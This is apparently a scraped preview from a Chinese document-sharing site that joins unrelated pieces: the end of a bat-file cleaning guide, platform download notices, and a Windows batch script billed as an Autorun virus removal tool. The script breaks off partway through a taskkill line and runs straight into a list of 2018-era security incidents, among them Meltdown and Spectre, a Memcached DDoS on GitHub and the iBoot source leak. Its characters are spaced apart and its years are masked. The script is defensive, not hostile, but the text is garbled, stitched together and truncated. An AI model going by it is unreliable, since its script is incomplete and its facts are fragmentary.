最后，使用`echo`命令输出清理完成的提示信息，并使用`pause`命令暂停脚本的执行，以便查看清理结果。
保存以上命令为一个bat格式的文件，例如`clean.bat`。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
A u t o r u n病毒清除工具b a t代码介绍
电脑病毒看不见，却无处不在，有时防护措施不够或者不当操作都会导致病毒入侵。
本程序运行后自动清除每个盘符下面的A u t o r u n病毒,E c h o本程序原理是基于读取每个盘符下的A u t o r u n.i n f相关字段
复制代码代码如下:
@E c h o O f f
c o l o r2f
t i t l e A u t o r u n病毒清除工具-B y P h e x o n
R e m杀进程
t a s k k i l l /F /I M S o c k s A.e x e /I M S V O H O S T.e x e /I M A d o b e R.e x e/I M r a v m o n e.e x e/I M w i n c f g s.e x e/I M
d o c.
e x e/I M r o s e.e x e/I M s x s.e x e/I M a u t o r u n.e x e /I M K B20**1月，英特尔处理器中曝M e l t d o w n(熔断)和S p e c t r e (幽灵)两大新型漏洞，包括A M D、A R M、英特尔系统和处理器在内，几乎近20**发售的所有设备都受到影响，受影响的设备包括手机、电脑、服务器以及云计算产品。
这些漏洞允许恶意程序从其它程序的内存空间中窃取信息，这意味着包括密码、帐户信息、加密密钥乃至其它一切在理论上可存储于内存中的信息均可能因
此外泄。
二、G i t H u b遭遇大规模 M e m c a c h e d D D o S攻击
20**2月，知名代码托管网站 G i t H u b遭遇史上大规模 M e m c a c h e d D D o S攻击，流量峰值高达 1.35T b p s。
然而，事情才过去五天，D D o S攻击再次刷新纪录，美国一家服务提供商遭遇D D o S攻击的峰值创新高，达到 1.7 T b p s!攻击者利用暴露在网上的 M e m c a c h e d服务器进行攻击。
网络安全公司 C l o u d f l a r e的研究人员发现，截止20**2月底，中国有 2.5万 M e m c a c h e d服务器暴露在网上。
三、苹果 i O S i B o o t源码泄露
20**2月，开源代码分享网站 G i t H u b(软件项目托管平台)上有人共享了 i P h o n e操作系统的核心组件源码，泄露的代码属于 i O S安全系统的重要组成部分i B o o t。
i B o o t相当于是 W i n d o w s电脑的 B I O S系统。
此次
i B o o t源码泄露可能让数以亿计的 i O S设备面临安全
威胁。
i O S与 M a c O S系统开发者 J o n a t h a n L e v i n表示，这是 i O S历史上最严重的一次泄漏事件。
四、韩国平昌冬季奥运会遭遇黑客攻击
20**2月，韩国平昌冬季奥运会开幕式当天遭遇黑客
攻击，此次攻击造成网络中断，广播系统(观众不能正常观看直播)和奥运会官网均无法正常运作，许多观众无法打印开幕式门票，最终未能正常入场。
五、加密货币采矿软件攻击致欧洲废水处理设施瘫痪
20**2月中旬，工业网络安全企业 R a d i f l o w公司表示，发现四台接入欧洲废水处理设施运营技术网络的服务器遭遇加密货币采矿恶意软件的入侵。
该恶意软件直接拖垮了废水处理设备中的 H M I服务器 C P U，致欧洲废水处理服务器瘫痪。
R a d i f l o w公司称，此次事故是加密货币恶意软件首次对关键基础设施运营商的运营技术网络展开攻击。
由于受感染的服务器为人机交互(简称H M I)设备，之所以导致废水处理系统瘫痪，是因为这种恶意软件会严重降低 H M I的运行速度。